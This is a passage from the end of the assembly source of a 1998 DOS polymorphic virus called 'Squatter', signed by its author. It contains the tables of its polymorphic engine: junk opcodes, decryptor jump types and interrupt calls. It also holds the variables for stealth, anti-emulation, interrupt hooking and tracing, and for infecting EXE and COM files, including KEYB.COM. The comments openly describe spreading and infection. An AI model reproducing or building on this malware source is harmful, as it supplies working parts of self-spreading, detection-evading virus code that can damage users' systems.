03h ;; Opcodes of one-byte instructions that don't modify checking flags. They ;; are also the normal one-byte instructions BasuraNoBanderas DB 0F5h, 0F8h, 0F9h, 0FBh, 0FCh, 0FDh, 90h, 3Eh ; CMC, CLC, STC, STI, CLD, STD, NOP, DS: ;; One-byte instructions that modify AX (NOP is to fill) ConAX DB 98h, 27h, 2Fh, 37h, 3Fh, 90h, 9Fh, 0D7h ; CBW, DAA, DAS, AAA, AAF, NOP, LAHF,XLAT ;; Conditional jump opcodes. First four are for decreasing counters, and next ;; four are for increasing ones. Saltos DB 75h, 79h, 7Dh, 7Fh, 75h, 78h, 7Ch, 7Eh ; JNZ, JNS, JGE, JG, JNZ, JS, JL, JLE Saltos2 db 72h, 78h ; JB, JS ;; Opcodes to use for garbage more-than-two-bytes instructions. BasuraInstruc DB 02h, 0Ah, 12h, 1Ah, 22h, 2Ah, 32h, 3Ah, 84h, 8Ah ; ADD, OR, ADC, SBB, AND, SUB, XOR, CMP,TEST, MOV ;; Interrupt functions. They're in groups of two bytes. First byte is the ;; function to use, and next byte is the interruption to use. This functions ;; don't modify nothing but don't used registers. They can't be used, for ;; this reason, in the first decryptor, where the initial values of the regis- ;; ters are used. FuncInterrup DB 00, 12h, 0Fh, 10h, 88h, 15h, 01h, 16h, 02h, 16h DB 0Bh, 21h, 18h, 21h, 19h, 21h, 30h, 21h, 36h, 21h DB 51h, 21h, 54h, 21h, 58h, 21h ;; Safe writting fields table. This is used in "ObtenDireccionEscrit" Escritura DB 0Ah DW Offset AntInt21h - 200h DB 0 DW Offset SaltoCOM - 200h + 1 DB 0 DW Offset Basura1 - 200h DB 0 DW Offset Basura2 - 200h DB 0 DW Offset Basura3 - 200h DB 0 DW Offset Basura4 - 200h DB 0 DW Offset Basura5 - 200h DB 0 DW Offset Basura6 - 200h DB 0 DW Offset Basura7 - 200h DB 0 DW Offset Basura8 - 200h DB 0 DW Offset Basura9 - 200h DB 0 DW Offset Basura10 - 200h DB 0 DW Offset Basura11 - 200h DB 0 DW Offset Basura12 - 200h DB 0 DW Offset Basura13 - 200h DB 0 DW Offset Basura14 - 200h DB 0 DW Offset Basura15 - 200h DB 0 DW Offset Basura16 - 200h DB 0 DW Offset Basura17 - 200h DB 8 DW Offset Atributos - 200h DB 3 DW Offset BytesInt24h - 200h DB 0 DW Offset ByteInt1Bh - 200h DB 4 DW Offset WordAleatorio1 - 200h Truco_Salto: PUSH DS ; DS,ES => STACK PUSH ES MOV AH, 30h ; Get DOS version / install-check JMP Retorno_Truco ;; Virus arrives until here! Beyond this point the variables only exist in ;; memory, when it's installed. DB 0 ; DB 0 FinVirus LABEL WORD ;Mark of end of the spreading part of the virus AntInt21h DW 2 DUP (0) ; Here real int 21h address is saved Puntero2 DW 2 DUP (0) ; This is used in the trace routines Puntero3 DW 2 DUP (0) Ptr01 DD 0 ; Here we save the int 01h vector when we use it ; to trace, when int 30h trick fails DirecDTA DW 2 DUP (0) ; To save DTA address FakedHandle DW 0 ; To save faked handle, when we fake ; it EstadoInt24h DB 0 ; To set on if there was a critic ; error AntHandle DW 0 ; Exchange variable for the "Fake- ; Handle" routine SumaNombre DB 0 ; Checksum of the name of the file ; infected before NoStealth DB 0 ; If it's set, stealth doesn't work ; It's to avoid stealth when certain ; files are executed PrimerByte DB 0 ; Set on if we are constructing the ; first instruction in one of the ; two decryptors in the poly engine Cabecera DB 18h DUP (0) ;To save EXE header Cabecera2 DB 18h DUP (0) ;To have a duplicate of EXE header NombreFCB DB 0Ch DUP (0) ;To pass a FCB's file name to a ;handle-function type, to use han- ;dle virus' functions with FCBs AntiEmulacion DB 0 ; To store the number of anti-emula- ; tion routine used in the first de- ; cryptor constructed by the poly ; engine, to not repeat the same in ; the second decryptor NoBasura DB 0 NoPongasLOOP DB 0 RegistroEncriptado DB 0 ;To store the key register for decrypt RegistroIndice DB 0 ;To store the index register RegistroContador DB 0 ;To store the counter register InicLoop DW 0 ;To store the address of start of decrypt ;loop InicLoop2 DW 0 TipoDeDesencriptador DB 0 Temporal DW 0 ; To store address of jump instruction ; when constructing a random jump TamanyoContador DW 0 ; Size of block for decrypt SumaIndice DW 0 ; Quantity that must be added to index ; relatively in the instruction to point ; correctly to the beginning of the en- ; crypted block WordEncriptado DW 0 ; Key of decryption LongDesencrip DW 0 ; Size of the first decryptor that the ; poly engine builds Estado DB 0 ; Multi-function variable :) WordCambio DW 0 ; Quantity to be ADDed, SUBtracted or ; XORed to decryption key every loop EstoyDentro DB 0 ; If it's set on, we're constructing the ; decryption loop (we're inside the loop) Banderas DW 0 ; Flags of the built decryptor (normally ; in BP) Desinfeccion DB 0 ; Counter to determine if we must disin- ; fect host, infect KEYB.COM or infect ; normally InstalacionPoli DB 0 ; If it's 0, the random seed will be ini- ; tialize. If not, it won't :) TamanyoBloque DB 0 Cantidad DB 0 SaltoLoopTipo0 DB 0 AntAleatorio DW 3 DUP (0) ; When the random seed is initiali- ; zed, the result is saved here, so every ; time we call to "HazVirus" to generate ; a new virus, the random seed is set ; with this values. In this manner the ; decryptor is always the same until you ; reboot the computer, otherwise you ; could change the decryptor setting a ; new date LoopYaEsta DB 0 ; This variable is set when we finished ; constructing the decryption loop NumeroCALLs db 0 ; Here we store the number of constructed ; CALLs in the decryptors DirecCALLs dw 08h dup (0) ; Here the addresses where they ; are located. NewVirus LABEL WORD ; Direction where the polimorphism engine ; will construct the virus END Squatter ; Finish program ;; The Mental Driller, 18/12/1998 (when I finished comments! :) )